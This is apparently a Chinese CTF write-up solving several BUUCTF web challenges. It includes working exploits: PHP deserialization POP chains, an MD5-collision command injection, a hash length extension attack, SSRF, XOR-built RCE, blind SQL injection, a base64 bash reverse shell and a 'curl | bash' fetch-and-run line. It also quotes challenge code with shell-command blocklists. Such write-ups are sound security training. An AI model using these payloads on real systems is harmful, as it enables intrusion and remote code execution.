1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url (./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
1 $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file );
对于文件名中非字母、数字、.的部分直接删了
要执行命令,得找两个 md5 强相等的数据
1 2 3 4 5 6 7 8 <?php $a = urldecode ("%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2" ); $b = urldecode ("%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2" ); echo md5 ($a ); echo "\n" ; echo md5 ($b ); var_dump ($a === $b ); ?>
命令没有过滤 \
,可以利用 \
多行解释
有 /flag
用 rev 读 flag
1 }d12d7b403400 -a5c9-0264 -fcb7-6 a76600a{galf
1 flag {a00667a6-7 bcf-4620 -9 c5a-004304 b7d21d}
0x15 [网鼎杯 2020 朱雀组]phpweb 貌似可以通过post 函数的名字和 函数的参数,来调用函数
phpinfo 被拦截了
fuzz 一下
1 call_user_func() expects parameter 1 to be a valid callback, function 'require' not found or invalid function name in <b>/var/www/html/index .php</b> on line <b>24 </b><br />
可见后端用了 call_user_func
估计是这样实现的
1 2 3 $func = $_POST ['func' ];$params = $_POST ['p' ];call_user_func ($func , $params );
readfile 能用,把index.php 读出来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
有一个 Test 类,可以利用这个类的 __destruct 方法来执行任意函数
于是就用到 unserialize
1 2 3 4 5 6 7 8 9 10 <?php class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; } $t = new Test (); $t ->p = "find / -name *flag*" ; $t ->func = "system" ; echo urlencode (serialize ($t )); ?>
得到 反序列化的结果
1 O %3 A4%3 A%22 Test%22 %3 A2%3 A%7 Bs%3 A1%3 A%22 p%22 %3 Bs%3 A19%3 A%22 find+%2 F+-name+%2 Aflag%2 A%22 %3 Bs%3 A4%3 A%22 func%22 %3 Bs%3 A6%3 A%22 system%22 %3 B%7 D
找到 flag 位置
读出flag
1 flag {29 c8b19b-104 a-4 fcc-a967-2 deb57c8bb8e}
0x16 [De1CTF 2019]SSRF Me 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if (not os.path.exists(self .sandbox)): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self .checkSign()): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print (resp) tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self .action, self .param) == self .sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=80 )
应该是要 访问
触发 Task 对象调用 Exec 方法,从而进行 ssrf 或者别的什么
看看参数
1 2 3 4 GET : param POST : COOKIE : sign , actionremote_add : ip
这些参数被送进 Task 的构造函数
ip 用来造一个给本用户用的文件夹
看看 Exec 方法
先要过 self.checkSign(),即要
1 getSign(self .action, self .param) == self .sign
1 2 def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
访问 /geneSign 得到的是
1 md5 (secret_key + param + "scan" )
这个 param 参数是任意的
接下来,如果 action 有 scan,那就调用
1 2 3 4 5 6 def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout"
可以用来ssrf,结果可能会写到 result.txt 里面,也会打印出来
如果 action 有 read,就会读 result.txt 里面的内容,最后打印出来
1 2 3 4 5 6 def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False
有个 waf 函数,感觉有点难整,这样一来就不能用 gopher 协议 和 file 协议了
访问 /De1ta
COOKIE.action 的值,取
GET.param 的值,取
COOKIE.sign 的值,要访问 /geneSign 得到,访问的时候,GET.param 的值
COOKIE.sign 的值
1 d4 ed565 fe68 b8 efb9217122 ea81 c 05 f5
确实可以成功访问
发送 请求的代码
1 urllib.urlopen(param).read()[:50 ]
这种格式的是 python2
查查看 urlopen 有没有什么 CVE
1 urllib.urlopen('local_file :
因而可以进行任意文件读取,不过需要绝对路径
去读 /etc/passwd
先去 /geneSign
1 885d6fb7159cea7279ca873109205aaa
提示说 flag 的位置在 ./flag.txt,即运行目录下
那就直接以 flag.txt
作为 urllib.urlopen 函数的参数,就能读到 flag 了
1 2 GET /De1ta?param =flag.txt HTTP/1.1Cookie: UM_distinctid =178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; action =readscan; sign =897603d1f2fa7144d7a2ebd147d08550
1 flag {cbf140b7-ecd0-44 ce-a459-2 fb7b9b68aac}
还可以 用哈希长度扩展攻击,
也就是说 如果知道了
1 md5 (secret_key + "flag.txt" + "scan" )
并且 secret_key 的长度是 16 byte
那也就 能算出
1 md5(secret_key + "flag.txt" + "scan%8 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%0 0%E 0%0 0%0 0%0 0%0 0%0 0%0 0%00read " )
为
1 03 b68d6be7949fc53fc0aa73b80647f6
因而
1 2 GET /De1ta?param=flag.txt HTTP/1 .1 Cookie : UM_distinctid=178 c47882931c-03 d45df0858cdb8-4 c3f227c-e1000-178 c478829517e; sign=03 b68d6be7949fc53fc0aa73b80647f6; action=scan%80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %E0%00 %00 %00 %00 %00 %00 %00 read
1 flag {1 df55dbd-89 ab-4 f95-87 e9-3 f7d51bfe299}
0x17 [CISCN2019 总决赛 Day1 Web4]Laravel1 扫一扫
1 2 3 4 [21:03:06] 200 - 0 B - /favicon.ico [21:03:06] 200 - 2 KB - /index.php [21:03:06] 200 - 24 B - /robots.txt [21:04:54] 200 - 593 B - /.htaccess
看看 robots.txt,啥也没有
看看 .htaccess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <IfModule mod_rewrite.c> <IfModule mod_negotiation.c> Options -MultiViews -Indexes </IfModule> RewriteEngine On RewriteCond %{HTTP:Authorization} . RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} (.+)/$ RewriteRule ^ %1 [L,R=301] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] </IfModule>
下载来看看
很显然,要找一条 POP 链
去找 __destruct
要注意,如果用 vscode 找,要先把目录下的 .gitignore 文件删掉,不然的话标记其中的文件没法被遍历到
还是挺好找的,甚至不用 检查 __call ,而且还可以 rce
直接写 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php namespace Symfony \Component \Cache { final class CacheItem { private const METADATA_EXPIRY_OFFSET = 1527506807; protected $key ; protected $value ; protected $isHit = false ; protected $expiry ; protected $defaultLifetime ; protected $metadata = []; protected $newMetadata = []; protected $innerItem ; protected $poolHash ; protected $isTaggable = false ; function __construct ( ) { $this ->innerItem = "nl /*" ; $this ->poolHash = null ; } } } namespace Symfony \Component \Cache \Adapter { class TagAwareAdapter { private $deferred = []; private $createCacheItem ; private $setCacheItemTags ; private $getTagsByKey ; private $invalidateTags ; private $tags ; private $knownTagVersions = []; private $knownTagVersionsTtl ; function __construct ( ) { $this ->pool = new \Symfony\Component\Cache\Adapter\ProxyAdapter (); $this ->deferred = array (new \Symfony\Component\Cache\CacheItem ()); } } class ProxyAdapter { private $namespace ; private $namespaceLen ; private $createCacheItem ; private $setInnerItem ; private $poolHash ; function __construct ( ) { $this ->poolHash = null ; $this ->setInnerItem = "system" ; } } } namespace { $a = new \Symfony \Component \Cache \Adapter \TagAwareAdapter (); echo urlencode (serialize ($a )); } ?>
1 O%3 A47 %3 A%22 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%22 %3 A9 %3 A%7 Bs%3 A57 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 deferred%22 %3 Ba%3 A1 %3 A%7 Bi%3 A0 %3 BO%3 A33 %3 A%22 Symfony%5 CComponent%5 CCache%5 CCacheItem%22 %3 A10 %3 A%7 Bs%3 A6 %3 A%22 %00 %2 A%00 key%22 %3 BN%3 Bs%3 A8 %3 A%22 %00 %2 A%00 value%22 %3 BN%3 Bs%3 A8 %3 A%22 %00 %2 A%00 isHit%22 %3 Bb%3 A0 %3 Bs%3 A9 %3 A%22 %00 %2 A%00 expiry%22 %3 BN%3 Bs%3 A18 %3 A%22 %00 %2 A%00 defaultLifetime%22 %3 BN%3 Bs%3 A11 %3 A%22 %00 %2 A%00 metadata %22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A14 %3 A%22 %00 %2 A%00 newMetadata%22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A12 %3 A%22 %00 %2 A%00 innerItem%22 %3 Bs%3 A5 %3 A%22 nl+%2 F%2 A%22 %3 Bs%3 A11 %3 A%22 %00 %2 A%00 poolHash%22 %3 BN%3 Bs%3 A13 %3 A%22 %00 %2 A%00 isTaggable%22 %3 Bb%3 A0 %3 B%7 D%7 Ds%3 A64 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 createCacheItem%22 %3 BN%3 Bs%3 A65 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 setCacheItemTags%22 %3 BN%3 Bs%3 A61 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 getTagsByKey%22 %3 BN%3 Bs%3 A63 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 invalidateTags%22 %3 BN%3 Bs%3 A53 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 tags%22 %3 BN%3 Bs%3 A65 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 knownTagVersions%22 %3 Ba%3 A0 %3 A%7 B%7 Ds%3 A68 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%00 knownTagVersionsTtl%22 %3 BN%3 Bs%3 A4 %3 A%22 pool%22 %3 BO%3 A44 %3 A%22 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%22 %3 A5 %3 A%7 Bs%3 A55 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%00 namespace%22 %3 BN%3 Bs%3 A58 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%00 namespaceLen%22 %3 BN%3 Bs%3 A61 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%00 createCacheItem%22 %3 BN%3 Bs%3 A58 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%00 setInnerItem%22 %3 Bs%3 A6 %3 A%22 system%22 %3 Bs%3 A54 %3 A%22 %00 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%00 poolHash%22 %3 BN%3 B%7 D%7 D
得到 flag
1 flag{a309985e-a399-4441 -9b67 -951490200a32}
0x18 [CISCN 2019 初赛] Love Math
因而可以调用类似
能用 base_convert ,因而可以生成任意 字符串
比如生成 “phpinfo”
1 base_convert (55490343972 ,10 ,36 )
去看看 disable_function
什么也没有禁止
1 eval ('echo ' .$content.';' )
没有拦截 ^ , eval 里面用的是 单引号 ‘’
因而可以通过 异或弄进去任意字符
php7 中可以
1 "_GET" = "1111" ^ "nvte"
因而得到 _GET
1 base_convert (1114322 ,10 ,36 )^base_convert(1111 ,10 ,10 )
1 $pi =base_convert(1114322 ,10 ,36 )^base_convert(1111 ,10 ,10 );${ $pi }{0 }(${ $pi }{1 })&0 =system&1 =nl /*
1 flag {9 a12c8e6-cbcc-4727 -bcb6-ab724b990d55}
0x19 [BJDCTF 2nd]假猪套天下第一 有一个登录口,估计要先 sql 注入
提示有个 L0g1n.php
访问看看
1 Sorry, this site will be available after totally 99 years!
抓包,看到 Cookie 里面有个 time,看起来是以秒为单位的时间戳
改一下,增加99年
提示只能由 localhost 访问
试试看改 X-Forwarded-for
但是被拦截了
试试看 改 Client-IP
1 Sorry, this site is only optimized for those who come from gem-love.com
改一改 Referer(http header 里面就是这样拼)
1 Sorry, this site is only optimized for browsers that run on Commodo 64
把 user-agent 给改了
1 Sorry, this site is only optimized for those whose email is root@ gem-love.com
改了
1 Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100 /Month
改一下 Via
1 Sorry, even you are good at http header, you're still not my admin.<br > Althoungh u found me, u still dont know where is flag
base64decode 一下
1 flag {2 a41d4d3-35 f8-45 de-91 f8-2 f7518de3f59}
0x1a [BJDCTF 2nd]简单注入 信息搜集一波
扫一扫目录
1 [12:07:42] 200 - 36 B - /robots.txt
访问 看看
1 2 User-agent : *Disallow : /hint.txt
访问一下 /hint.txt
1 2 3 4 5 6 Only u input the correct password then u can get the flagand p3rh4ps wants a girl friend.select * from users where username='$_POST["username"]' and password ='$_POST["password"]' ;//鍑洪浜哄洓绾у帇绾挎墠杩� 瑙佽皡瑙佽皡 棰嗕細绮剧
有注入点,password
fuzz 一下,看看拦截了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 " %22 %27 ' '1' ='1 - -- --+ -~ ; = AND ANd LIKE LiKe RLIKE SELECT SeleCT UNION UNIon admin' anandd and handler like mid rand ()rlike select select union
单引号和双引号都拦截了,那就没法闭合了
fuzz admin 看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 " %22 %27 ' '1' ='1 - -- --+ -~ ; = AND ANd LIKE LiKe RLIKE SELECT SeleCT UNION UNIon admin' anandd and handler like mid rand ()rlike select select union
也拦截了引号
根据 hint.txt ,sql 语句的前后两个参数用的都是 单引号,因而在没有 addslashes 的情况下,可以 转义注入
试试看
1 username=admin \&password =||length(database ())>0 %23
而当
1 username=admin \&password =||length(database ())<0 %23
可见,可以布尔盲注
那就直接跑脚本了
过滤了 select ,那就没法访问 information_schema 了
只能访问 users 表中的内容
1 2 payload = "||!(ascii(substr(((password)),{},1))>{})#" .format (i,mid) data = {"username" :"admin\\" ,"password" :payload}
这就是 admin 的密码了,登录即得到 flag
1 flag {062 b5a29-9 ef4-4 f9a-9 d4a-f9d109c62887}
0x1b [BJDCTF 2nd]elementmaster 搜集一波信息
扫一扫目录
好像也没有什么特别的东西
1 2 <p hidden id="506F2E" >I am the real Element Masterrr!!!!!!</p> <p hidden id="706870" >@颖奇L'Amore</p>
706870 是 php 的 hex
两个都 unhex 一下
里面只有一个 .
给了个图,提到了 118 个元素,Po 是个元素,怀疑每个元素名代表一个文件
全部元素访问看看
1 2 3 4 5 6 7 import requestselement=['H' , 'He' , 'Li' , 'Be' , 'B' , 'C' , 'N' , 'O' , 'F' , 'Ne' , 'Na' , 'Mg' , 'Al' , 'Si' , 'P' , 'S' , 'Cl' , 'Ar' ,'K' , 'Ca' , 'Sc' , 'Ti' , 'V' , 'Cr' , 'Mn' , 'Fe' , 'Co' , 'Ni' , 'Cu' , 'Zn' , 'Ga' , 'Ge' , 'As' , 'Se' , 'Br' ,'Kr' , 'Rb' , 'Sr' , 'Y' , 'Zr' , 'Nb' , 'Mo' , 'Te' , 'Ru' , 'Rh' ,'Pd' , 'Ag' , 'Cd' , 'In' , 'Sn' , 'Sb' , 'Te' ,'I' , 'Xe' , 'Cs' , 'Ba' , 'La' , 'Ce' , 'Pr' , 'Nd' , 'Pm' , 'Sm' , 'Eu' , 'Gd' , 'Tb' , 'Dy' , 'Ho' ,'Er' , 'Tm' ,'Yb' , 'Lu' , 'Hf' , 'Ta' , 'W' , 'Re' , 'Os' , 'Ir' , 'Pt' , 'Au' , 'Hg' , 'Tl' , 'Pb' , 'Bi' , 'Po' , 'At' , 'Rn' ,'Fr' , 'Ra' , 'Ac' , 'Th' ,'Pa' , 'U' , 'Np' , 'Pu' , 'Am' , 'Cm' , 'Bk' , 'Cf' , 'Es' , 'Fm' ,'Md' , 'No' , 'Lr' ,'Rf' , 'Db' , 'Sg' , 'Bh' , 'Hs' , 'Mt' , 'Ds' , 'Rg' , 'Cn' , 'Nh' , 'Fl' , 'Mc' , 'Lv' , 'Ts' , 'Og' , 'Uue' ] for e in element: url = "http://1f356814-0263-432d-9399-279f3dc8dc13.node3.buuoj.cn/" + e + ".php" resp = requests.get(url) if resp.status_code == 200 : print (resp.text,end="" )
1 And_th3 _3 LemEnt5 _w1 LL_De5 tR0 y_y0 u.php
访问得到 flag
1 flag{d831c810-336b-4166 -8e8d-dac3be338845}
0x1c [BJDCTF 2nd]duangShell 搜集一波信息
1 how can i give you source code ? .swp ?!
扫一扫目录
1 [11:12:13] 200 - 12 KB - /.index .php .swp
果然有个 swp ,下载来看看
打开后却发现是乱码
用 vim -r index.php.wsp
来恢复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>give me a girl</title> </head> <body> <center><h1>珍爱网</h1></center> </body> </html> <?php error_reporting (0 );echo "how can i give you source code? .swp?!" ."<br>" ;if (!isset ($_POST ['girl_friend' ])) { die ("where is P3rh4ps's girl friend ???" ); } else { $girl = $_POST ['girl_friend' ]; if (preg_match ('/\>|\\\/' , $girl )) { die ('just girl' ); } else if (preg_match ('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i' , $girl )) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->" ; } else { exec ($girl ); } }
竟然直接用了 exec ,stdout 的内容不会被直接打印到 页面
看了一下过滤,觉得可以试试看 反弹shell,用文件下载反弹
先写个 shell.txt
1 echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuOTIuMzU0LjEvMTIzNDUgMD4mMQo= | base64 -d | bash
然后打开 http 服务
1 python3 - m http.server &
然后打开端口监听
然后改一下 girl_friend
1 girl_friend =curl http://127.92 .354.1 :8000 /shell.txt | bash
然后去找 flag 就行了
1 nl /etc/ demo/P3rh4ps/ love/you/ flag
1 flag {f3ea3e3b-178 e-4 ca5-8537 -15 ea32f2d02d}
0x1d [BJDCTF 2nd]文件探测 先搜集一波信息
扫扫目录
1 2 3 4 5 [13:47:07] 200 - 6 KB - /.DS_Store [13:47:07] 200 - 72 B - /robots.txt [13:47:07] 200 - 18 KB - /index.php/login/[13:47:07] 200 - 18 KB - /index.php [13:47:07] 200 - 55 B - /home.php
看源码,给了提示
看看 robots.txt
1 2 3 4 User-agent : *Disallow : /flag.phpDisallow : /admin.phpAllow : /index.php
访问一下 flag.php 看看
结果是 404not found
估计是被删掉了
访问 admin.php 看看
说是只能 内网访问,可能要 ssrf 了
抓包看看
1 Cookie: UM_distinctid =178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; PHPSESSID =1928379db14a1a1a97a229cb04b38c3b; y1ng =8880cbd71721332a25aa6df7b12eb7ac53539100; your_ip_address =d99081fe929b750e0557f85e6499103f
Cookie 里面有个 your_ip_address,长度是 32 ,看来是某个 字符串的 md5
看看 home.php
看来这个 file 参数参与了 require 函数
file 参数是 system
往框框里面输入东西之后,最后往 system.php 发送请求
system.php 这个页面初衷应该是用来看所有文件的 长度
主要是 请求的路径最后加了个 .y1ng.txt ,这就有点难办
应该是要用这个 python 命令去访问 admin.php
回到 home.php,把 file 置为 admin
1 You! are! not! my! admin!
试试看把 Cookie 里面的 your_ip_address 改了
1 2 md5 ("127.0.0.1" ) f528764d624db129b32c21fbca0cb8d6
不过好像没有
用 php://filter 读一读 system.php
1 /home.php?file =php://filter /read =convert .base64-encode/resource=system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );if (!isset ($_COOKIE ['y1ng' ]) || $_COOKIE ['y1ng' ] !== sha1 (md5 ('y1ng' ))){ echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>" ; header ("Refresh:0.1;url=index.php" ); die ; } $str2 = ' Error: url invalid<br>~$ ' ;$str3 = ' Error: damn hacker!<br>~$ ' ;$str4 = ' Error: request method error<br>~$ ' ;?> <?php $filter1 = '/^http:\/\/127\.0\.0\.1\//i' ;$filter2 = '/.?f.?l.?a.?g.?/i' ;if (isset ($_POST ['q1' ]) && isset ($_POST ['q2' ]) && isset ($_POST ['q3' ]) ) { $url = $_POST ['q2' ].".y1ng.txt" ; $method = $_POST ['q3' ]; $str1 = "~$ python fuck.py -u \"" .$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>" ; echo $str1 ; if (!preg_match ($filter1 , $url ) ){ die ($str2 ); } if (preg_match ($filter2 , $url )) { die ($str3 ); } if (!preg_match ('/^GET/i' , $method ) && !preg_match ('/^POST/i' , $method )) { die ($str4 ); } $detect = @file_get_contents ($url , false ); print (sprintf ("$url method&content_size:$method %d" , $detect )); } ?>
url 最后面是 ?的参数,从而 加了 “.y1ng.txt” 也无所谓
%% 就把 %d 给转义掉了
1 q1 =admi&q2=http://127.0.0.1 /admin.php?a=a&q3=GET%25 s%25
从而得到 admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php error_reporting (0 );session_start ();$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}' ; function aesEn ($data , $key ) { $method = 'AES-128-CBC' ; $iv = md5 ($_SERVER ['REMOTE_ADDR' ],true ); return base64_encode (openssl_encrypt ($data , $method ,$key , OPENSSL_RAW_DATA , $iv )); } function Check ( ) { if (isset ($_COOKIE ['your_ip_address' ]) && $_COOKIE ['your_ip_address' ] === md5 ($_SERVER ['REMOTE_ADDR' ]) && $_COOKIE ['y1ng' ] === sha1 (md5 ('y1ng' ))) return true ; else return false ; } if ( $_SERVER ['REMOTE_ADDR' ] == "127.0.0.1" ) { highlight_file (__FILE__ ); } else { echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER ['REMOTE_ADDR' ]; } $_SESSION ['user' ] = md5 ($_SERVER ['REMOTE_ADDR' ]);if (isset ($_GET ['decrypt' ])) { $decr = $_GET ['decrypt' ]; if (Check ()){ $data = $_SESSION ['secret' ]; include 'flag_2sln2ndln2klnlksnf.php' ; $cipher = aesEn ($data , 'y1ng' ); if ($decr === $cipher ){ echo WHAT_YOU_WANT; } else { die ('爬' ); } } else { header ("Refresh:0.1;url=index.php" ); } } else { mt_srand (rand (0 ,9999999 )); $length = mt_rand (40 ,80 ); $_SESSION ['secret' ] = bin2hex (random_bytes ($length )); } ?>
1 flag_2sln2ndln2klnlksnf.php
php://filter 走一波
但是被拦截了
1 2 3 4 5 6 7 8 9 10 11 12 $decr = $_GET ['decrypt' ];$data = $_SESSION ['secret' ];$cipher = aesEn ($data , 'y1ng' );if ($decr === $cipher ){ echo WHAT_YOU_WANT; } function aesEn ($data , $key ) { $method = 'AES-128-CBC' ; $iv = md5 ($_SERVER ['REMOTE_ADDR' ],true ); return base64_encode (openssl_encrypt ($data , $method ,$key , OPENSSL_RAW_DATA , $iv )); }
$data
来自 $_SESSION
,而 $_SESSION
的初始化,源于session_start(),这个函数会根据 COOKIE 当中的 PHPSESSID 来读取,或者创建一个 session 文件,如果 PHPSESSID 为空,那就会创建
因而置空之后,参与加密运算的 $data
就为 null
直接跑一跑
1 2 3 4 5 6 7 8 9 10 11 <?php function aesEn ($data , $key ) { $method = 'AES-128-CBC' ; $iv = md5 ("172.16.128.254" ,true ); return base64_encode (openssl_encrypt ($data , $method ,$key , OPENSSL_RAW_DATA , $iv )); } $data = $_SESSION ['secret' ]; $data = null ; $cipher = aesEn ($data , 'y1ng' ); echo $cipher ;
1 OGiyKXIyhghrDCtpomyQ6A = =
